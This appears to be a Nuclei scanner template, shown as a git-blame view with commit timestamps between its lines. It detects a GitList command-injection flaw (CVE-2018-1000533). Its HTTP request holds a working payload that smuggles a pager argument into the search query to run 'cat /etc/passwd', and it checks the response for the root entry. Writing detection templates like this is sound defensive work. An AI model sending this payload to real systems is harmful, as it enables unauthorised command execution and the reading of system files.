2021-06-15 07:28:10 +00:00
id : CVE-2018-1000533
info :
2022-04-11 14:42:35 +00:00
name : GitList < 0.6.0 Remote Code Execution
2021-06-15 07:28:10 +00:00
author : pikpikcu
severity : critical
2022-04-22 10:38:41 +00:00
description : klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the `searchTree` function that can result in remote code execution.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
2023-09-06 12:57:14 +00:00
remediation : |
Upgrade GitList to version 0.6.0 or later to mitigate this vulnerability.
2022-04-11 14:42:35 +00:00
reference :
- https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000533
2022-05-17 09:18:12 +00:00
- https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
- https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-1000533
cwe-id : CWE-20
2023-11-18 12:52:17 +00:00
epss-score : 0.97242
2023-12-12 11:07:52 +00:00
epss-percentile : 0.99806
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:gitlist:gitlist:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : gitlist
product : gitlist
tags : git,cve,cve2018,gitlist,vulhub,rce
2021-06-15 07:28:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-15 07:28:10 +00:00
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
- |
POST /{{path}}/tree/a/search HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
query=--open-files-in-pager=cat%20/etc/passwd
2023-07-11 19:49:27 +00:00
matchers :
- type : word
part : body
words :
- "root:/root:/bin/bash"
2021-06-15 07:28:10 +00:00
extractors :
- type : regex
name : path
group : 1
regex :
- '<span class="name">(.*?)</span>'
2023-07-11 19:49:27 +00:00
internal : true
2021-06-15 11:08:28 +00:00
part : body
2023-12-12 12:02:03 +00:00
# digest: 4a0a00473045022028cd8a2a8701ecac535948910b85cf15ac28cde153a381db6df360650f8daa37022100fbf3d855a5152999c5894b30f2db95489143480735950ce2d97b10f94d23ae74:922c64590222798bb761d5b6d8e72950